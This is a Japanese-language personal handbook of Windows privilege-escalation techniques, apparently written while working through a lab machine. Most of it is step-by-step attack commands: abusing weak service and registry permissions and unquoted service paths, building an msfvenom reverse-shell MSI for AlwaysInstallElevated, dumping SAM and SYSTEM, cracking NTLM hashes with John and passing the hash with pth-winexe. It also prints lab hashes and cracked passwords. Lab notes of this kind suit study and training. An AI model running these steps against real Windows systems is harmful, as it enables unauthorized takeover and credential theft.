
Windowsの権限昇格の概念に関する私のハンドブック。私のプレイリストもチェックしてください。リンク: https://www.youtube.com/playlist?list=PLlrnAg4kKF3puXLI0JyltbNJOC2R2HVFk
重要な注意点はグループです。Administrator グループの任意のユーザーが権限昇格に役立ちます!
whoami /priv - 現在のユーザーの権限net users - すべてのユーザーを一覧表示net user <username> - 特定のユーザーの詳細を一覧表示qwinsta - 同時にログインしている他のユーザーnet localgroup - システムで利用可能なグループnet localgroup <group-name> - 特定のグループのメンバーを一覧表示systeminfo - OSに関するすべての情報を提供hostname - システムのホスト名findstr /si password *.txt - 「password」を含むファイルをテキストファイルの中から探していますwmic qfe get Caption,Description,HotFixID,InstalledOn - セキュリティパッチと関連情報を表示しますnetstat -ano - マシンに関連する接続schtasks /query /fo LIST /v - スケジュールされたタスクを確認するsysteminfo ツールの出力のコピーを用意するだけで、これがこのツールの唯一の要件ですwmic product get name,version,vendor - 製品名、バージョン、ベンダーを提供します。この特定のコマンドは、必要なものを適切に視覚化してくれます。wmic service list brief | findstr "Running" を使用し、サービスに関する詳細情報を取得するには sc qc <ServiceName> を使用してください。post/multi/recon/local_exploit_suggester というモジュールを実行します。このツールが正しく動作するように、セッションをバックグラウンドに置くことを確認してください。または、meterpreter から単にロードすることもできます。winpeas.exe --help を実行してすべてのオプションを確認してください。systeminfo コマンドを実行してシステム情報を取得し、それを任意のファイルにコピーして拡張子 .txt を付けて名前を付けますここでは、安全でない権限を持つサービスを特定し、それらを悪用してみます。
ここでは winpeas.exe servicesinfo コマンドを利用でき、非常に役立つサービスを確認できます。
出力の興味深い部分は次のようなものです。```
daclsvc(DACL Service)["C:\Program Files\DACL Service\daclservice.exe"] - Manual - Stopped YOU CAN MODIFY THIS SERVICE: ChangeConfig
- しかし、より詳細な情報を得るために、Microsoft製の**accesschk**というツールを使用できます。次のように実行します `accesschk.exe /accepteula -uwcqv <current-user> <service>`、出力は次のとおりです。```
C:\PrivEsc>accesschk.exe /accepteula -uwcqv user daclsvc
daclsvc
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_CHANGE_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_START
SERVICE_STOP
READ_CONTROL
service_change_config で、サービスの構成を変更できます。sc qc <service> を実行し、変更対象となる Binary_path_name(binpath とも呼ばれる)をメモします(悪い笑み)。sc config <service> <option>="<value>" です。sc config daclsvc binpath="<path>" を実行し、サービス sc start daclsvc を開始します。Vulnerable Service: C:\Program Files\Ignite Data\Vuln Service\file.exe
The system will read this path in the following sequence from 1 to 4 to trigger malicous.exe through a writeable directory.
C:\Program.exe C:\Program Files\Ignite.exe C:\Program Files\Ignite Data\Vuln.exe C:\Program Files\Ignite Data\Vuln Service\file.exe
- 詳細情報を取得するには、**WinPEAS** スクリプトを `servicesinfo` オプション付きで使用するだけです。ここでは、**Unquoted Service Path** を悪用できるかどうかの情報を確認できます。ツールを実行したところ、出力の興味深い部分は次のようになります、```
unquotedsvc(Unquoted Path Service)[C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe] - Manual - Stopped - No quotes and Space detected
sc qc <service> を使用します。accesschk を使用して、この特定の場所 C:\Program Files\Unquoted Path Service の権限を確認しましょう。accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service" を実行します。出力:```
accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service"
C:\Program Files\Unquoted Path Service
Medium Mandatory Level (Default) [No-Write-Up]
RW BUILTIN\Users
RW NT SERVICE\TrustedInstaller
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators- 読み取りと書き込みの権限があります。
- 次に、ペイロードを作成して `C:\Program Files\Unquoted Path Service` に配置します。`copy reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"` を使用します。ここでは、アルファベット順でも有利になるように、別の名前を使用しています。
- 次にサービスを開始します。`sc start unquotedsvc` を実行すると、管理者になります!!!
-----------------------
### 弱いレジストリ権限:
- ここでは、レジストリ権限が弱いサービスを悪用してみます。
- これらを探すには、`servicesinfo` オプションを指定した `Winpeas` を使用する必要があります。出力は次のようになります。```
���������� Looking if you can modify any service registry
� Check if you can modify the registry of a service https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services-registry-permissions
HKLM\system\currentcontrolset\services\regsvc (Interactive [FullControl])
次にサービスの名前はregsvcです。このサービスについて深く掘り下げましょう。sc qc regsvcを実行すると、出力は次のとおりです。```
sc qc regsvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: regsvc TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\Program Files\Insecure Registry Service\insecureregistryservice.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Insecure Registry Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem
- ちょっとした面白い事実として、パスが引用符で囲まれているため、**Unquoted Service Path**には該当しません。
- 次に、`accesschk.exe` を実行して深く掘り下げましょう。`accesschk /acceptula -uvwqk <path of registry>` を実行します(これは `HKLM\system\currentcontrolset\services\regsvc` です)。
- 出力内で `RW NT AUTHORITY\INTERACTIVE(KEY_ALL_ACCESS)` を探します。これが見つかれば、悪用する準備は完了です。
- 次に、`reg query HKLM\system\currentcontrolset\services\regsvc` を使用してレジストリ内のオプションを確認しましょう。`ImagePath` というオプションが見つかりました。これは実行可能ファイルの値を取るため、これを悪用しましょう。まず、リバースシェルを作成します。
- 次に、`reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f` を実行します。ペイロードのパスは要件に応じて選択してください。
- サービスを実行します。`net start regsvc` を実行すると、やった! シェルを取得できました。
-----------------------
### 安全でないサービス実行ファイル:
- ここでは、サービスのファイル権限が全員にアクセス可能です! サービスの実行ファイルを変更してみると、そのまま攻撃が可能になります!
- **Winpeas** を、特に **servicesinfo** モジュールを指定して実行してみましょう。何か興味深いものが見えるはずです。出力は以下のとおりです。```
filepermsvc(File Permissions Service)["C:\Program Files\File Permissions Service\filepermservice.exe"] - Manual - Stopped
File Permissions: Everyone [AllAccess]
filepermsvc サービスのファイルにアクセスできるため、リバースシェルのペイロードを作成し、サービスの実行ファイルをそれに置き換えて、シェルを取得します。reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run を実行して手動で確認できます。これにより、自動実行プログラムとそのパスが表示されます。- パス付きの2つのプログラムが見つかったので、テストしてみましょう。
- 次に、これらの自動実行のファイルパスに対してどのような権限が利用可能かを確認するために **accesscheck** を実行します。
- 単純に `accesschk.exe \accepteula -wvu "<path>"` を実行します。私は **My Program** の自動実行パスに対してこれを実行し、出力には `FILE_ALL_ACCESS` と表示されました。つまり、このフォルダ内では文字通り何でもできます。主に、元の実行ファイルを置き換えてシステムを再起動すれば、シェルを取得できます。
- さて、管理者のログインを待つ必要があります。そうすれば特権ユーザーとしてシェルを取得できます!
- ここでの注意点は、管理者/所有者のログインを待つ必要があることです。そうでなければ、問題なく進めます。
------------------------------
### AlwaysInstallElevated
- これにより、標準ユーザーが管理者権限で **msi**(Microsoft Installer) をインストールできるようになります。
- これはクールで、簡単に高い特権を取得できます。
- これは、以下を実行して確認できます。
`reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
` および
`reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
`
- これらの両方のコマンドを実行し、**AlwaysInstallElevated** の値が 1 または 0x1 である必要があります。そうすれば確認でき、先に進めます。
- 次に、**msi** 形式のリバースシェルを作成します。参考として以下のコマンドを確認してください。
`msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.13.39.50 LPORT=4444 --platform windows -f msi > reverse.msi`
- 次に、それを Windows マシンに転送して、以下のコマンドを実行します。
`msiexec /quiet /qn /i reverse.msi`
- やった! `nt authority\system` としてシェルを取得しました。
------------------
-------------------
## パスワード:
- ここでは、レジストリやファイルなどから資格情報を探します。
- そして、ログインを試みます!
----------------------
### レジストリ内のパスワードを探す:
- レジストリを検索してパスワードを探すことができます。場合によっては、他のユーザーのパスワードや、所有者のパスワードさえ見つかることもあります。
- `reg query HKLM /f password /t REG_SZ /s` を実行すると、レジストリ内の **password** 文字列を含むすべての詳細が得られます。検索すれば見つかるかもしれません! しかし残念ながら、私は何も取得できませんでした。
- さらに実行します `reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
`、何か情報が見つかるかもしれません。
- また、伝説のツール **winPEAS** を、`windowscreds` のようなオプションを指定して使用することもできます - 資格情報を探します。また `filesinfo` - ファイルやレジストリ内の有用なデータ(時にはパスワードも)を探します。
- ここでパスワードを入手しました。それは `password123` です。それでは、**psexec** を使用してログインしましょう(リンク: https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py)。構文は `python3 psexec.py [email protected]` です。パスワードの入力を求められるので、それを入力すると、admin のようにアクセスできます!
-------------------------
### パスワード : 保存された資格情報
- まず最初に `cmdkey /list` を実行します。ここで **cmdkey** は、*保存されているユーザー名とパスワードまたは資格情報を作成、一覧表示、削除する* Windows サーバーアプリケーションです。これを実行すると、ユーザーが保存したすべての資格情報を確認できます!
- 出力は次のとおりです、```
Currently stored credentials:
Target: WindowsLive:target=virtualapp/didlogical
Type: Generic
User: 02nfpgrklkitqatu
Local machine persistence
Target: Domain:interactive=WIN-QBA94KB3IOF\admin
Type: Domain Password
User: WIN-QBA94KB3IOF\admin
runas /savecred /user:admin C:\Temp\reverse.exe を実行しましょう。これで管理者権限が得られます。C:\Windows\Repair ディレクトリに SAM ファイルのコピーを作成しているため、遊ぶことができます! そのディレクトリには、SAM と SYSTEM という 2 つのファイルがあります。download コマンドの助けを借りて入手しました。python2 pwdump.py /opt/work/SYSTEM /opt/work/SAM を実行すると、Windows マシンで利用可能なユーザーのハッシュが表示されます。出力は次のとおりです。```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6ebaa6d5e6e601996eefe4b6048834c2:::
user:1000:aad3b435b51404eeaad3b435b51404ee:91ef1073f6ae95f5ea6ace91c09a963a:::
admin:1001:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::上記の内容をテキストファイルに保存し、**JohnTheRipper** の助けを借りてクラックします。構文は `john --format=NT hashes.txt --wordlist=/usr/share/wordlist/rockyou.txt` で、これでクラックできました!```
password123 (admin)
password321 (user)
Passw0rd! (Administrator)
a9fdfa038c4b75ebc76dc855dd74f0da です。export SMBHASH=aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da ここではグループID付きのハッシュを使用しています。pth-winexe -U admin% //10.10.213.97 cmd.exe を実行すると、admin としてシェルを取得できました。pth-winexe はKaliに既にあります。schtasks /query /fo LIST /V を実行します。CleanUp.ps1 が興味深く、そのパスは C:\DevTools\CleanUp.ps1 です。accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1 を実行すると、読み取り、書き込みなどのすべての権限がありました。- それから転送して `CleanUp.ps1` にリネームし、接続を取得しました。
--------------------
---------------------
## 安全でないGUIアプリ:
- RDP接続を取得したら、`Taskmanager` を開きます。`Details` タブには、アプリケーションとそれを実行しているユーザーが表示されます。
- ここでは意図的に `mspaint.exe` が管理者として実行されるように構成されているため、これがターゲットになります。
- **Paint** で作業しているので、ファイルを開くオプションがあります。`file://c:/windows/system32/cmd.exe` を開くと、あっという間に **admin** ユーザーとしてシェルを取得できます!
- ここでは、常にRDP接続を取得できるとは限らないため、機能は少し限定されます。
-----------------------
----------------------
## スタートアップアプリ:
- Windowsには、一部のアプリをスタートアップ時に実行できる機能があり、この機能を悪用できます。
- スタートアップアプリは `C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp` にあります。これがデフォルトのパスです。
- **accesschk.exe** を使って何ができるか確認してみましょう。`accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"` を実行します。出力は次のとおりです。```
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
Medium Mandatory Level (Default) [No-Write-Up]
RW BUILTIN\Users
RW WIN-QBA94KB3IOF\Administrator
RW WIN-QBA94KB3IOF\admin
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators
R Everyone
CreateShortcut.vbs というスクリプトがあります。これは管理者権限で実行され、その主な目的は、アップロードしたリバースシェル用の ショートカット を作成することです。list_tokens -u を実行します。その後、興味深いトークンを見つけたら impersonate_token <name of token> を実行します。whomai /priv を実行すると、現在のユーザーの権限を確認できます。そこで SeAssignPrimaryToken のような危険な権限が見つかる場合があります。これはとても危険です! これらの権限とその悪用方法について詳しくは、次の記事を参照してください: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#eop---impersonation-privilegesNT Authority/System のようなアクセス権限の取得を試みます。driverquery - ドライバー関連情報を一覧表示sc query windefend - アンチウイルスサービスを探す